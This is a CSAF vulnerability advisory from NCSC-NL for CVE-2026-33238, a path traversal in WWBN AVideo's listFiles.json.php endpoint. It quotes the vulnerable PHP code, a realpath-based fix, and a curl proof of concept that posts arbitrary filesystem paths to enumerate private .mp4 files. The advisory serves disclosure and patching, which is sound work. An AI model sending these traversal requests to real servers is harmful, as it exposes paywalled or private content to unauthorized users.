{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33238",
        "tracking": {
            "current_release_date": "2026-03-29T16:14:44.573128Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33238",
            "initial_release_date": "2026-03-19T15:31:29.179487Z",
            "revision_history": [
                {
                    "date": "2026-03-19T15:31:29.179487Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:31:31.920199Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-20T23:38:53.835920Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T23:38:57.427058Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T00:25:24.624249Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-21T00:25:27.056445Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T15:23:05.508935Z",
                    "number": "7",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-21T15:23:07.514768Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T17:13:51.284153Z",
                    "number": "9",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T17:13:55.244029Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:50:04.398950Z",
                    "number": "11",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-25T18:42:02.019266Z",
                    "number": "12",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-25T18:42:07.180739Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T00:39:37.555865Z",
                    "number": "14",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (8).| Product Identifiers created (8).| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-29T03:16:19.506363Z",
                    "number": "15",
                    "summary": "References removed (2)."
                },
                {
                    "date": "2026-03-29T03:16:21.851701Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T16:14:26.100522Z",
                    "number": "17",
                    "summary": "References created (2)."
                }
            ],
            "status": "interim",
            "version": "17"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<26.0",
                                "product": {
                                    "name": "vers:unknown/<26.0",
                                    "product_id": "CSAFPID-5874460",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.4",
                                "product": {
                                    "name": "vers:unknown/10.4",
                                    "product_id": "CSAFPID-5656122",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.8",
                                "product": {
                                    "name": "vers:unknown/10.8",
                                    "product_id": "CSAFPID-5656123",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11",
                                "product": {
                                    "name": "vers:unknown/11",
                                    "product_id": "CSAFPID-5656124",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1",
                                "product": {
                                    "name": "vers:unknown/11.1",
                                    "product_id": "CSAFPID-5656125",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1.1",
                                "product": {
                                    "name": "vers:unknown/11.1.1",
                                    "product_id": "CSAFPID-5656126",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.5",
                                "product": {
                                    "name": "vers:unknown/11.5",
                                    "product_id": "CSAFPID-5656127",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.6",
                                "product": {
                                    "name": "vers:unknown/11.6",
                                    "product_id": "CSAFPID-5656128",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/12.4",
                                "product": {
                                    "name": "vers:unknown/12.4",
                                    "product_id": "CSAFPID-5656129",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@12.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=14.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<=14.0",
                                    "product_id": "CSAFPID-5912937"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "avideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33238",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.\n\n## Details\n\nThe vulnerable code is at `objects/listFiles.json.php:8-45`:\n\n```php\nif (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {\n    return false;\n}\n$global['allowed'] = ['mp4'];\n// ...\nif (!empty($_POST['path'])) {\n    $path = $_POST['path'];\n    if (substr($path, -1) !== '/') {\n        $path .= \"/\";\n    }\n    if (file_exists($path)) {\n        $extn = implode(\",*.\", $global['allowed']);\n        $filesStr = \"{*.\" . $extn . \",*.\" . strtolower($extn) . \",*.\" . strtoupper($extn) . \"}\";\n        $video_array = glob($path . $filesStr, GLOB_BRACE);\n        foreach ($video_array as $key => $value) {\n            $filePath = mb_convert_encoding($value, 'UTF-8');\n            // ...\n            $obj->path = $filePath;  // Full absolute path returned to caller\n```\n\nThe `$_POST['path']` value is used directly in `glob()` with no call to `realpath()` for normalization and no prefix check against a permitted base directory (e.g., `$global['systemRootPath'] . 'videos/'`). The response includes `obj->path` containing the full absolute filesystem path of each matched file.\n\nThe extension filter (`{*.mp4,*.mp4,*.MP4}`) limits results to `.mp4` files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:\n- Premium/paid content directories\n- Private or unlisted media stores\n- Backup directories containing `.mp4` files\n- Paths revealing sensitive server directory structure\n\n`canUpload` is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as any user with canUpload permission\n# (standard uploader account)\n\n# Step 2: Enumerate MP4 files in the web root (expected behavior)\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/var/www/html/videos/\"\n# Returns: [{\"id\":0,\"path\":\"/var/www/html/videos/video1.mp4\",\"name\":\"video1.mp4\"}, ...]\n\n# Step 3: Traverse outside intended directory to private content store\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/var/private/premium-content/\"\n# Returns: [{\"id\":0,\"path\":\"/var/private/premium-content/paywalled-video.mp4\",\"name\":\"paywalled-video.mp4\"}, ...]\n\n# Step 4: Enumerate root filesystem for any MP4 files\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/\"\n# Returns all .mp4 files visible to the web server process anywhere on disk\n```\n\n**Expected behavior:** Only files within the designated upload directory should be listable.\n**Actual behavior:** Files from any path readable by the web server process are returned with full absolute paths.\n\n## Impact\n\n- **Unauthorized media enumeration:** An uploader can discover private, premium, or access-controlled `.mp4` files stored outside their permitted directory.\n- **Filesystem structure disclosure:** Full absolute paths reveal server directory layout, aiding further attacks.\n- **Content bypass:** In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present.\n- **Blast radius:** Requires `canUpload` permission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance.\n\n## Recommended Fix\n\nRestrict the supplied path to an allowed base directory using `realpath()`:\n\n```php\nif (!empty($_POST['path'])) {\n    $allowedBase = realpath($global['systemRootPath'] . 'videos') . '/';\n    $path = realpath($_POST['path']);\n\n    // Reject paths that don't start with the allowed base\n    if ($path === false || strpos($path . '/', $allowedBase) !== 0) {\n        http_response_code(403);\n        echo json_encode(['error' => 'Path not allowed']);\n        exit;\n    }\n    $path .= '/';\n    // ... continue with glob\n}\n```\n\n`realpath()` resolves `../` sequences before the prefix check, preventing traversal bypasses.",
                    "title": "github - https://api.github.com/advisories/GHSA-4wmm-6qxj-fpj4"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. Prior to version 26.0, the `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories. Version 26.0 contains a patch for the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33238.json"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. Prior to version 26.0, the `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories. Version 26.0 contains a patch for the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33238"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.\n\n## Details\n\nThe vulnerable code is at `objects/listFiles.json.php:8-45`:\n\n```php\nif (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {\n    return false;\n}\n$global['allowed'] = ['mp4'];\n// ...\nif (!empty($_POST['path'])) {\n    $path = $_POST['path'];\n    if (substr($path, -1) !== '/') {\n        $path .= \"/\";\n    }\n    if (file_exists($path)) {\n        $extn = implode(\",*.\", $global['allowed']);\n        $filesStr = \"{*.\" . $extn . \",*.\" . strtolower($extn) . \",*.\" . strtoupper($extn) . \"}\";\n        $video_array = glob($path . $filesStr, GLOB_BRACE);\n        foreach ($video_array as $key => $value) {\n            $filePath = mb_convert_encoding($value, 'UTF-8');\n            // ...\n            $obj->path = $filePath;  // Full absolute path returned to caller\n```\n\nThe `$_POST['path']` value is used directly in `glob()` with no call to `realpath()` for normalization and no prefix check against a permitted base directory (e.g., `$global['systemRootPath'] . 'videos/'`). The response includes `obj->path` containing the full absolute filesystem path of each matched file.\n\nThe extension filter (`{*.mp4,*.mp4,*.MP4}`) limits results to `.mp4` files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:\n- Premium/paid content directories\n- Private or unlisted media stores\n- Backup directories containing `.mp4` files\n- Paths revealing sensitive server directory structure\n\n`canUpload` is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as any user with canUpload permission\n# (standard uploader account)\n\n# Step 2: Enumerate MP4 files in the web root (expected behavior)\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/var/www/html/videos/\"\n# Returns: [{\"id\":0,\"path\":\"/var/www/html/videos/video1.mp4\",\"name\":\"video1.mp4\"}, ...]\n\n# Step 3: Traverse outside intended directory to private content store\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/var/private/premium-content/\"\n# Returns: [{\"id\":0,\"path\":\"/var/private/premium-content/paywalled-video.mp4\",\"name\":\"paywalled-video.mp4\"}, ...]\n\n# Step 4: Enumerate root filesystem for any MP4 files\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/\"\n# Returns all .mp4 files visible to the web server process anywhere on disk\n```\n\n**Expected behavior:** Only files within the designated upload directory should be listable.\n**Actual behavior:** Files from any path readable by the web server process are returned with full absolute paths.\n\n## Impact\n\n- **Unauthorized media enumeration:** An uploader can discover private, premium, or access-controlled `.mp4` files stored outside their permitted directory.\n- **Filesystem structure disclosure:** Full absolute paths reveal server directory layout, aiding further attacks.\n- **Content bypass:** In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present.\n- **Blast radius:** Requires `canUpload` permission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance.\n\n## Recommended Fix\n\nRestrict the supplied path to an allowed base directory using `realpath()`:\n\n```php\nif (!empty($_POST['path'])) {\n    $allowedBase = realpath($global['systemRootPath'] . 'videos') . '/';\n    $path = realpath($_POST['path']);\n\n    // Reject paths that don't start with the allowed base\n    if ($path === false || strpos($path . '/', $allowedBase) !== 0) {\n        http_response_code(403);\n        echo json_encode(['error' => 'Path not allowed']);\n        exit;\n    }\n    $path .= '/';\n    // ... continue with glob\n}\n```\n\n`realpath()` resolves `../` sequences before the prefix check, preventing traversal bypasses.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-4wmm-6qxj-fpj4.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00036",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.4",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, The value of the most recent EPSS score, The value of the most recent CVSS (V3) score, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5874460",
                    "CSAFPID-5656122",
                    "CSAFPID-5656123",
                    "CSAFPID-5656124",
                    "CSAFPID-5656125",
                    "CSAFPID-5656126",
                    "CSAFPID-5656127",
                    "CSAFPID-5656128",
                    "CSAFPID-5656129",
                    "CSAFPID-5912937"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-4wmm-6qxj-fpj4"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33238.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33238"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-4wmm-6qxj-fpj4.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wmm-6qxj-fpj4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-4wmm-6qxj-fpj4"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/commit/870cf24a7632d4f1a5d5549b59103c18f39e3a21"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33238"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                        "baseScore": 4.3,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5656122",
                        "CSAFPID-5656123",
                        "CSAFPID-5656124",
                        "CSAFPID-5656125",
                        "CSAFPID-5656126",
                        "CSAFPID-5656127",
                        "CSAFPID-5656128",
                        "CSAFPID-5656129",
                        "CSAFPID-5874460",
                        "CSAFPID-5912937"
                    ]
                }
            ],
            "title": "CVE-2026-33238"
        }
    ]
}